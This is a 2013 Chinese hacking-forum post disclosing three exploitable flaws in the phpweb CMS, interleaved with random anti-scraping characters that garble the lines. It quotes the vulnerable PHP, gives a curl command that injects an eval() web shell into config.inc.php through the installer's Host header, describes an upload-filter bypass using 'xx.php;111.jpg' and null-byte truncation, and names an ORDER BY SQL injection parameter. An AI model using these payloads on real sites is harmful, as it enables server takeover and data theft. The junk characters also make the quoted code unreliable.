中国网络渗透测试联盟

标题: phpweb成品网站最新版(注入、上传、写shell) [打印本页]

作者: admin    时间: 2013-1-4 19:45
标题: phpweb成品网站最新版(注入、上传、写shell)
注入:: f# h$ e% C  {: k6 t
9 _! K3 \) v4 g2 R* Z
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
9 ~8 `) @, |$ R9 T  @ , r4 P# M" Q1 X1 w
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件5 V  u, P6 ^# G. C
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
+ O1 C0 i7 z( ]7 o9 h % W/ I- H! ?7 T$ }
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
- t, j& Y% ^* F  `  q1 Z8 r
3 i4 v' n5 b( `, T  _' v! T9 M分析:- l1 W7 p( A( X5 W
6 `7 z/ g' @. c/ l; C
1 [) T# N2 g4 ?( N* l4 i3 S2 |
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
2 v) D, i4 m. [+ t+ z) |5 X  [( f : T" o1 `6 C6 N/ F
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);
, |) @/ L  B6 m5 V" y                                            $filestr=str_replace(" ","",$filestr);6 s* i# L( i) |1 G. R5 I- I
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
; c% N( W  L8 C4 m7 @# D& H4 r/ G                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
$ q: n: F) q: c2 x% Q- l; J7 S" j                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);6 q9 R4 ?% N& b! L( `5 K! Z
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
  ?9 g1 C" }/ m* d! A9 Z                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);9 _% W! X; V6 ^/ c: ]  ]( I
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
9 I2 l/ L3 y" b# t5 o+ U; C                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);) N2 K2 w9 A9 w# [" x5 U* Q. A
' o! y) s% }% i- y
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);7 o: x% r4 j2 B$ v* h
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^4 P0 ~% M; }9 |& \4 H- `
% j' m3 y6 a0 @
poc:
/ v# Y% f. M3 `& [5 O& p1 l4 Z ' @; W( b% ~) X! z1 A) L: L' \
?
* U/ g" P2 _3 U9 |1! C& i. l. z& J9 R! _
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"' }9 m! g) x  \* }- ^) b, l
shell地址: /config.inc.php3 u  P6 S% W2 E
跟之前的 phpcms一样 需要远程数据库
& F: u( A7 ^. H) G, V  [; M( _
4 _' o# T/ _  q% C——————————————————–
! @) n, \/ _& W- E5 P$ Y上传漏洞(需要进后台):
" u0 M' t/ E6 o' U& o漏洞文件: /kedit/upload_cgi/upload.php" p+ d  Q- K% D- j/ T& t4 `
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
4 @. \# L2 u" f' u" g$ i " b5 l' i8 w; v
% o( k: o% |; i
<?php
7 T" Z9 _! E" J" I  l- }) M9 {    define("ROOTPATH", "../../");
, i- n$ w( e& z$ z1 z+ a    include(ROOTPATH."includes/admin.inc.php");! J7 G  v" I9 o5 r9 a
    NeedAuth(0);
% d1 s6 Z( h1 n$ J7 O9 ~8 \, r
6 e8 d1 J, A# Q5 Q5 F" h0 o    $dt=date("Ymd",time());
( ?/ y5 L- h- X- ~    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
7 k* v( _/ I- i- Y5 N            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);/ Q5 ]7 s5 W& ~0 p/ @
    }: O6 w7 a! B% x0 o
# s9 e! U2 O- a) o1 [% A$ g
    //文件保存目录路径
7 U4 `+ T" F5 G( k% ?* t    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';3 b( g" g) d% _7 \3 A
    echo $save_path;
% W: Q- E7 F; q8 J9 J" m    //文件保存目录URL( B1 e8 s! ]/ f, I( ?0 W! c
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
4 c* _  a3 q- E 6 O" ^! y- S  P$ V/ u9 f' N
    //定义允许上传的文件扩展名! n& D. B" |$ U. E& {
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀2 V( Q% W$ Q+ v: j& E( y
0 `0 F( P! M. H) Y2 S/ b
    //最大文件大小
6 k2 |, A' J5 n4 X0 b( q0 a7 W; X: `    $max_size = 1000000;
: r* y5 g4 s# |+ B" R # q' Y* V3 j# A: w8 a& @6 A
    //更改目录权限
; t9 `/ j) ~: ~! Z/ H* w    @mkdir($save_path, 0777);5 [" g+ l+ J, L! R

; B, `0 Z3 I! O% Z    //文件的全部路径
8 f0 J& |" e0 \* c& `    $file_path = $save_path.$_POST['fileName'];   //保存文件名
! R" z* \) G  |- ]# D- _2 R4 y
- b3 w9 L$ ]9 R# B    //文件URL: q! X4 Y  C# `& K+ M3 o! |8 Y
    $file_url = $save_url.$_POST['fileName'];) d) U; O' K# W# V
//有上传文件时3 r; O6 w7 }* ?6 l# f8 c" x
    if (empty($_FILES) === false) {" O5 l6 k( k4 A7 i$ @
* g/ n( @$ P& h+ F) O
            //原文件名+ C  \. i6 @+ ^' a7 C* [* o8 O
            $file_name = $_FILES['fileData']['name'];
5 [) A5 Q0 f2 ^& K            //服务器上临时文件名
' y- C0 U2 o1 X/ c2 f            $tmp_name = $_FILES['fileData']['tmp_name'];+ R! w  r3 d& V  Y- g. q
            //文件大小
: D7 W9 p) K; `6 J9 E            $file_size = $_FILES['fileData']['size'];
) c1 V" v# L& I- x8 r            //检查目录6 A( @, _& j) T- @5 l
            if (@is_dir($save_path) === false) {
5 X" A6 z  k: }1 Y3 S8 K                    alert("上传目录不存在。");
+ l. O; b5 d% l% @            }4 |6 J( q2 P+ M/ c
            //检查目录写权限, P/ T, z: ~: [4 S- U
            if (@is_writable($save_path) === false) {/ U  a( ?. V- L# F1 t. p
                    alert("上传目录没有写权限。");
- _# j+ f3 t9 g$ W: o2 O2 C            }
; v# W1 ^2 c- y% T" K            //检查是否已上传* e5 h( `! C, j2 ~4 l9 F) ~$ z0 c. j
            if (@is_uploaded_file($tmp_name) === false) {
6 g$ U% [$ F+ ~2 C1 H                    alert("临时文件可能不是上传文件。");
* u1 X" |/ y% U            }
; G4 S* b3 o9 e1 @* o& R            //检查文件大小
' K6 p: r1 E" P1 V! s            if ($file_size > $max_size) {" @9 m' x, a& ~6 _4 t- U
                    alert("上传文件大小超过限制。");
# w6 y( E& w. y/ W; X            }
  S. H( L  ~# d8 y) [            //获得文件扩展名5 j: O8 ^( e+ S, u
            $temp_arr = explode(".", $_POST['fileName']);, h4 o& |9 n( x0 _, ^6 F$ f
            $file_ext = array_pop($temp_arr);
! W: J% S( N3 ]7 u% ^8 ^; t9 R            $file_ext = trim($file_ext);: B8 j4 j  W5 u* p
            $file_ext = strtolower($file_ext);0 Y: h( N' T8 n; o8 I3 k
0 u; F4 g2 f; z1 a
            //检查扩展名   7 v" F( k  f; i
            if (in_array($file_ext, $ext_arr) === false) {     8 [2 x8 K1 N: S8 f
                    alert("上传文件扩展名是不允许的扩展名。");, L: s0 M' ]1 L) Z7 M' {3 O
            }4 L% E; e6 Y/ [& ?* }0 D$ ~1 N

& Y! o$ A& g; e& R) k' X            //移动文件   * \/ n9 q1 @5 Z1 y8 S5 r
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^7 N$ ~  N2 B% u$ ?# Z! n/ M
            if (move_uploaded_file($tmp_name, $file_path) === false) {/ ]) }/ ^3 Z. p% a3 e, Z! t7 y
                    alert("上传文件失败。");' A/ S5 E2 V1 V- U) ^9 O. |- S
            }' S" w7 g5 O& ^! S5 X

9 i3 E, ]( |5 Q% S. I' o. [( F            @chmod($file_path,0666);& G& r( z" b" Q) H0 l
/ S& g  m/ V5 a$ s* ^7 m6 t
    ?>4 ?# o# l  S3 B4 A% p
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227
* ?: L' P! O! h& [( p
3 K, a2 @8 S2 X, N  T3 X0 _apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过8 K# w1 g" N2 \

, C" t2 V+ F5 {1 B% B——————————————————8 Y* n* M# F3 h4 n0 B
注入漏洞:
" H- l4 v5 N. X6 }1 o漏洞文件:search/module/search.php
3 U* ~. u& A* G' m0 y/search/index.php?key=1&myord=1 [sqlinjection]
7 t  v' [! a1 E% f  U
% S3 l5 h+ o$ e: S5 ~- i
3 Y6 a& K) [+ M" _6 I, g% a7 b' c<?php8 k/ M6 z$ P5 }2 T* f& d8 x
   //       ... 省略 n 行...
( R- _# l# x: ^3 ~( ^   //第18行:- x- m1 Q  }6 P- s9 M
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响% m7 V) U+ {+ ?) E, e
           $page=htmlspecialchars($_GET["page"]);8 `; U: p9 ^: V, g5 L4 |' a
           $myord=htmlspecialchars($_GET["myord"]);
1 _7 }* h( g1 K1 `+ f9 E
4 `" b) E0 h. L7 ?   //       ... 省略 n 行...( j& E. ^# I4 [$ D" e; f5 ?
   $key,$myord 两个参数带入查询
4 X0 f8 }1 O" Q5 e7 p! k/ O   //第47行 $key:
/ f, K% d9 a0 ?" F8 M: Q
  A. [. [9 t# J/ ~& m$ `/ z   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
( I; X3 A9 L( p3 T' b) m . M- T7 M/ V# g
   //第197行 $myord9 W" M- h8 Q4 C/ t- N7 l
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
) I3 L5 t' l+ |# F- O9 F& c3 X
* r8 n5 [$ a+ R# `4 l/ Y6 ?   ?>3 ~" a, Y+ y) B2 X, e1 H





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2